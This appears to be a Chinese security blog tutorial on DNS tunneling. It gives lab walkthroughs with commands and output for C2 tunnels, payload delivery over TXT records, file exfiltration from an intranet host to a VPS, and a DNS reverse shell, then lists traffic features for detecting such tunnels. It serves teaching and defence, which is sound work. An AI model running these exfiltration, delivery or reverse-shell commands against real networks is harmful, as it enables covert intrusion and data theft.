什么是DNS隧道
域名系统(DNS, domain name system)是一种 将域名和 IP 地址相互映射的以层次结构分布的分 布式数据库系统,也是互联网上普遍存在的基础 解析服务。防火墙等基础防御设施为了保证用户体 验一般不会对 DNS 数据进行过多过滤,使其成为 攻击者手中较理想的秘密信道。互联网名称与数 字地址分配机构(ICANN, Internet Corporation for Assigned Names and Number)将其命名为 DNS 隐 蔽信道(DCC, DNS covert channel)
ATT&CK中关于DNS的描述https://attack.mitre.org/techniques/T1071/004/
Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.
威胁场景
-
命令控制
c2.png
-
数据泄露
data2.png
- 绕过网页认证与防火墙拦截
发展历程
fazhan.pngDNS隧道类型
IP直连型
如果 DNS隧道木马的服务器可以与本地主机通过IP直接通信,传输协议采用 DNS协议,则称为IP直连型DNS隧道木马。
IP直连型 DNS隧道木马的服务器端开放53端口,被控端利用UDPsocket 套接字直接与C&C服务建立连接。在这种情况下,两者传输的内容实际上是基于UDP服务。
这种木马与传统 UDP 木马的最大不同点就是:
1. 利用53端口进行传输交互数据,而53端口的外联基本上在所有机器上都必须开放,否则则无法使用互联网DNS服务;
2. 精心构造传输的载荷内容,使其至少从格式上是符合DNS query包格式,因为如果攻击者构造的UDP载荷内容不符合DNS报文格式,在 wireshark等流量分析工具的流量解析下,很容易出现 DNS报文异常的情况;
DNS迭代型
通过DNS递归查询实现的中继隧道,比较隐蔽,但同时因为数据包到达目标DNS Server前需要经过多个节点,所以速度上较直连慢很多
DNS隧道工具
dns-over-tcp--C2
Command and Control Callbacks (C&C)
client发送的DNS请求到达C&C server,建立起DNS通信隧道,server通过将消息封装在DNS响应的payload中,来向client传递命令或控制指令
cc.png简介
tcp-over-dns(诞生于2008年)是类似dns2tcp(诞生于2008年)的一种DNS隧道,僵尸主机通过tcp-over-dns隧道,可以实现绕过认证上网。由于dns2tcp是一种直连型DNS隧道,非常容易暴露C2服务器,而tcp-over-dns 是一种迭代型DNS隧道(中继),可以很好的隐藏C2服务器的IP地址。
Jar包:https://analogbit.com/software/tcp-over-dns/
实验内容
创建DNS隧道,在内网主机上通过DNS隧道访问外网VPS的ssh服务
实验步骤
1、确保VPS开放22、53端口
2、申请域名xx.yy
3、创建A
记录解析c2.xx.yy
到VPS的IP地址
4、创建bot.xx.yy
的NX
记录为c2.xx.yy
5、服务端运行
java -jar tcp-over-dns-server.jar --domain bot.xx.yy --forward-port 22
6、客户端运行
java -jar tcp-over-dns-client.jar --domain bot.xx.yy --listen-port 10010 --interval 100
-
监听端口为随意设置的高位端口
-
发包速率为100/s
7、客户端使用DNS隧道连接VPS的ssh服务
ssh -C -p 10010 root@localhost
┌──(root💀kali)-[/home/kali]
└─# ssh -C -p 10010 root@localhost 130 ⨯
root@localhost's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-100-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 27 Jun 2022 03:48:39 PM CST
System load: 0.1 Processes: 124
Usage of /: 13.5% of 39.12GB Users logged in: 1
Memory usage: 16% IPv4 address for eth0: 192.168.0.148
Swap usage: 0%
132 updates can be applied immediately.
90 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Welcome to Huawei Cloud Service
Last login: Mon Jun 27 14:26:18 2022 from 127.0.0.1
root@ecs-393799:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.148 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::f816:3eff:fec6:1eb2 prefixlen 64 scopeid 0x20<link>
ether fa:16:3e:c6:1e:b2 txqueuelen 1000 (Ethernet)
RX packets 3881602 bytes 395884029 (395.8 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4518766 bytes 910479796 (910.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 33402 bytes 3133557 (3.1 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 33402 bytes 3133557 (3.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
root@ecs-393799:~# whoami
root
root@ecs-393799:~# Connection to localhost closed by remote host.
Connection to localhost closed.
可以看到查询为中继型,保护了VPS的IP地址,信息编码在txt
记录中
DNSlivery--恶意文件投递(S2C)
简介
DNSlivery 允许使用 DNS 作为传输协议将文件传递到目标。
Github:https://github.com/no0be/DNSlivery
实验内容
通过DNS隧道将VPS上恶意文件投递到内网主机
实验步骤
1、服务端新建/tmp/dns-delivery
文件夹,并将payload写入该目录下,并运行以下命令
python3 dnslivery.py eth0 bot.doinb.cloud -v c2.xx.yy -p /tmp/dns-delivery
2、客户端
nslookup -type=txt file.save.bot.xx.yy
save
表示进行文件投递,还可以使用exec
进行命令执行
传输文件是payload在TXT
类型应答中,使用base64
编码,几乎相当于明文传输
dns2tcp--上网控制绕过
简介
dns2tcp是一个直连型DNS隧道,会暴露VPS地址
Github:https://github.com/alex-sector/dns2tcp
实验内容
内网主机通过DNS隧道访问VPS的ssh
服务
实验步骤
服务端
dns2tcpd -f /etc/dns2tcpd.conf -F -d 2
配置文件如下/etc/dns2tcpd.conf
listen = 0.0.0.0
port = 53
# If you change this value, also change the USER variable in /etc/default/dns2tcpd
user = nobody
chroot = /tmp
domain = bot.xx.yy
resources = ssh:127.0.0.1:22
root@ecs-393799:~/tools# dns2tcpd -f /etc/dns2tcpd.conf -F -d 2
10:46:15 : Debug options.c:97 Add resource ssh:127.0.0.1 port 22
10:46:15 : Debug socket.c:54 Listening on 0.0.0.0:53 for domain bot.xx.yy
Starting Server v0.5.2...
10:46:15 : Debug main.c:132 Chroot to /tmp
02:46:16 : Debug main.c:142 Change to user nobody
Creating session id: 0xbfc9 address = 222.92.61.107 (compression NOT wanted)
02:46:24 : Debug auth.c:60 Ask for resource 'ssh'
02:46:24 : Debug socket.c:183 Connecting to 127.0.0.1 port 22
Bind client id: 0xbfc9 address = 222.92.61.107 to resource ssh
Debug queue.c:642 Packet [1] decoded, data_len 0
客户端
dns2tcpc -r ssh -z bot.xx.yy c2.xx.yy -l 10000 -d 2
- 监听端口为随意设置的高位端口10000
- -d 2 设置debug级别为2
ssh 127.0.0.1 -lroot -p10000
连接ssh服务,实际连接到VPS的ssh服务
┌──(root💀kali)-[/home]
└─# ssh 127.0.0.1 -lroot -p10000 130 ⨯
root@127.0.0.1's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-100-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 28 Jun 2022 10:46:29 AM CST
System load: 0.02 Processes: 123
Usage of /: 13.6% of 39.12GB Users logged in: 1
Memory usage: 14% IPv4 address for eth0: 192.168.0.148
Swap usage: 0%
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
138 updates can be applied immediately.
90 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Welcome to Huawei Cloud Service
Last login: Tue Jun 28 10:41:18 2022 from 127.0.0.1
root@ecs-393799:~# whoami
root
root@ecs-393799:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.148 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::f816:3eff:fec6:1eb2 prefixlen 64 scopeid 0x20<link>
ether fa:16:3e:c6:1e:b2 txqueuelen 1000 (Ethernet)
RX packets 4403492 bytes 448069936 (448.0 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 5092951 bytes 1022626681 (1.0 GB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 34118 bytes 3199149 (3.1 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 34118 bytes 3199149 (3.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
root@ecs-393799:~# Connection to 127.0.0.1 closed by remote host.
Connection to 127.0.0.1 closed.
dns2tcp.png
dnsexfiltrator--敏感数据泄露(C2S)
简介
主要利用子域名编码来泄漏数据,dnsexfiltrator 基于DNS协议TXT记录,从僵尸主机传输文件到C2服务器的一种工具
Github:https://github.com/Arno0x/DNSExfiltrator
实验内容
使用dnsexfiltrator
将内网主机上的敏感信息投递到VPS
实验步骤
服务端
python2 dnsexfiltrator.py -d bot.xx.yy -p password
root@ecs-393799:~/tools# python2 dnsexfiltrator.py -d bot.xx.yy -p password
[*] DNS server listening on port 53
[+] Data was encoded using Base64URL
[+] Receiving file [myfile] as a ZIP file in [1] chunks
[+] Data was encoded using Base64URL
[+] Receiving file [myfile] as a ZIP file in [1] chunks
[============================================================] 100.0% Receiving file
[+] Decrypting using password [doinb] and saving to output file [myfile.zip]
[+] Output file [myfile.zip] saved successfully
[+] Decrypting using password [] and saving to output file [myfile.zip]
[+] Output file [myfile.zip] saved successfully
保存在服务端的文件是一个.zip
文件,是没有密码的,去掉密码的过程在内存中
客户端
.\dnsExfiltrator.exe file bot.xx.yy password
- file 是要投递的文件名
- password是密码
PS C:\Users\doinb\Desktop\DNSExfiltrator-master\release> .\dnsExfiltrator.exe file bot.xx.yy password
[*] Compressing (ZIP) the [myfile] file in memory
[*] Encrypting the ZIP file with password []
[*] Encoding the data with Base64URL
[*] Total size of data to be transmitted: [180] bytes
[+] Maximum data exfiltrated per DNS request (chunk max size): [224] bytes
[+] Number of chunks: [1]
[*] Sending 'init' request
[*] Sending data...
[*] DONE !
流量
使用TXT记录传输数据,研究子域名即可
iodine--虚拟局域网
简介
因为 iodine(碘)的原子序数为53,这恰好是DNS端口号,故取名为iodine。iodine基于C语言开发,分为服务端程序 iodined
和客户端程序 iodine
,kali系统已内置。支持EDNS、base32,base64,base128等多种编码规范
与同类工具相比,iodine具有如下特点
- 不会对下行数据进行编码
- 支持多平台(win linux MacOS BSD)
- 支持16个并发连接
- 支持强密码机制
- 支持同网段IP隧道记录
- 支持多种DNS记录类型
- 提供丰富的隧道质量检测机制
iodine支持直接转发和中继两种模式,其原理是通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一局域网(可以通过ping命令通信)。在客户端和服务端之间建立连接后,客户机上会多出一块“dns0”的虚拟网卡。
Github:https://github.com/yarrick/iodine
官方文档:http://code.kryo.se/iodine/
实验内容
使用DNS隧道实现虚拟局域网,内网主机和VPS可以相互PING通
实验步骤
服务端
iodined -f -c -P password 10.182.173.1 bot.xx.yy -DD
- -f 前台运行
- -c 禁止检查所有传入请求的客户端IP地址
- -P 设置客户端和服务端认证的密码
- -D 设置调试级别 -DD指调试级别为2
运行此命令后,VPS上会新建名为dns0
的网卡
dns0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1130
inet 10.182.173.1 netmask 255.255.255.224 destination 10.182.173.1
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500 (UNSPEC)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
客户端
iodine -f -P doinb bot.xx.yy -M 200
dns0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1130
inet 10.182.173.2 netmask 255.255.255.224 destination 10.182.173.2
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500 (UNSPEC)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1 bytes 48 (48.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
- -r iodine 有时可能会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道
- -M 指定上行主机名的大小
- -m 调节最大下行分片的大小
- -T 指定所有使用的类型,可选项有 NULL PRIVATE TXT SRV CNAME MX A
- -O 指定数据编码规范
- -L 指定是否开启懒惰模式(默认开启)
- -I 指定请求与请求之间的时间间隔
运行此命令后,内网客户端上会新建名为dns0
的网卡
这时两台服务器就可以相互PING通,可以当作局域网访问
┌──(root💀kali)-[/home/kali]
└─# ssh root@10.182.173.1
The authenticity of host '10.182.173.1 (10.182.173.1)' can't be established.
ED25519 key fingerprint is SHA256:2i53MS/k63iQ3PaZtumnCk+RD/C0FGXOVd8+2g2Iydo.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:3: [hashed name]
~/.ssh/known_hosts:5: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.182.173.1' (ED25519) to the list of known hosts.
root@10.182.173.1's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-100-generic x86_64)
流量
记录类型为NULL.pngTuns--虚拟局域网(延迟较大)
简介
Tuns是一个使用Ruby语言编写的DNS隧道原型,仅使用CNAME记录
GIthub:https://github.com/lnussbaum/tuns
Reverse_DNS_Shell
简介
Reverse_DNS_Shell属于直连型DNS隧道,需要僵尸主机直接能够访问C2服务器,正如其名,它会反弹一个shell,属于命令控制型DNS隧道,但是采用的域名编码传递数据。它采用Base64URL编码和AES加密,加密后的内容直接放在请求的域名中,此工具速度非常慢,完全无法正常使用。
Github:https://github.com/ahhh/Reverse_DNS_Shell
实验内容
内网肉鸡通过DNS隧道反向shell到VPS
实验步骤
修改源码
服务端和客户端的加解密函数都添加以下语句
reverse.png服务端
python2 reverse_dns_shell_server.py
客户端
python2 reverse_dns_shell_client.py -s vps_ip
坑
依赖以下三个报
dnslib
dnspython
pycrypto
但是pycrypto装不上,可以使用pycryptodome代替
python2 -m pip install xxx
如果python2没有相应pip使用如下语句安装
sudo apt install python-pip
sudo apt install python3-pip(python3)
rv_shell.png
流量
使用IP直接通信,域名类似于DGA。实际环境中不可用,不会允许不可信的DNS服务器。
reverse_shell.png检测
异常点
防御方需 要提取其中难以绕过的异常点进行检测,从而达到 较良好的检测效果。
单域名异常
1) 基础特征
- DNS 数据包长度/UDP 长度。
- 子域名长度
- 子域名数字数量/占比、子域名大写字符数量/ 占比
- C2 域名欺骗性
- 资源记录分布及长度
2) 可读性特征
- 子域名包含单词数
- 子域名中最大单词长度
- 子域名单/双/三字母频率
3) 结构性特征
- 子域名标签数量
- 平均/最大标签长度
如“tieba.baidu.com”,其中标签“tieba”仅含 5 个
字符。
多域名统计异常
-
同位相同字符数/最大公共子串长度
同位相同字符数: 2个同域子域名中相对位置相同的字符数 最大公共字串长度: 2个同域子域名中所有公共子串中最长的公共子串长度
-
最大公共子串是否包含数字/字母
-
同域 IP 离散性
正常域名中同域子域名对应IP 地址较离散,如正常域名 www.baidu.com 对应应答 IP 地址为 39.156.66.14,域名 map.baidu.com 对应应答 IP 地址为 111.206.208.32 ,域名tieba.baidu.com 对应应答 IP 地址为 112.34.111.194。正常域名中同域子域名对应IP 地址较离散,如正常域名 www.baidu.com 对应应答 IP 地址为 39.156.66.14,域名 map.baidu.com 对应应答 IP 地址为 111.206.208.32 ,域名tieba.baidu.com 对应应答 IP 地址为112.34.111.194。
-
DNS 数据包总数
在正常情况下,例如在企业局域网中,每天的 DNS 数据包总数一般在一个固定区间范围内
-
DNS 请求频率
在正常情况下,一般为手动输入 DNS 发起请求,请求频率有限;在恶意情况下,由于 DNS 协议可传输字符有限,恶意软件欲传输大文件时,需要大量 DNS 请求才能完成传送。
-
DNS 请求应答比
在正常情况下,DNS 请求应答比大概为 1:1;在恶意情况下,可能只利用 DNS请求来泄露数据而不设置应答,大量的无应答构成异常
-
应答码
应答码 RCODE 表示对应响应的状态。在正常 DNS 请求与应答中,应答码一般为 0,表示DNS 请求应答过程成功完成。当应答码为 3 时,表示此域名没有任何类型的解析记录。在恶意软件如Heyoka 中,其将响应设为应答码为 3 的简单NXDOMAIN 应答。当利用其传输数据产生大量请求时,会伴随着大量 NXDOMAIN 应答。所以,应答码的情况也可以作为一个参考指标。
-
同域请求数量/占比
在正常情况下,一般良性的域不太可能被同一设备经常反复查询;在恶意情况下,恶意软件需要对同一域名反复查询来泄露信息。所以,同域请求数量/占比是一个可以用来衡量 异常的指标。
网友评论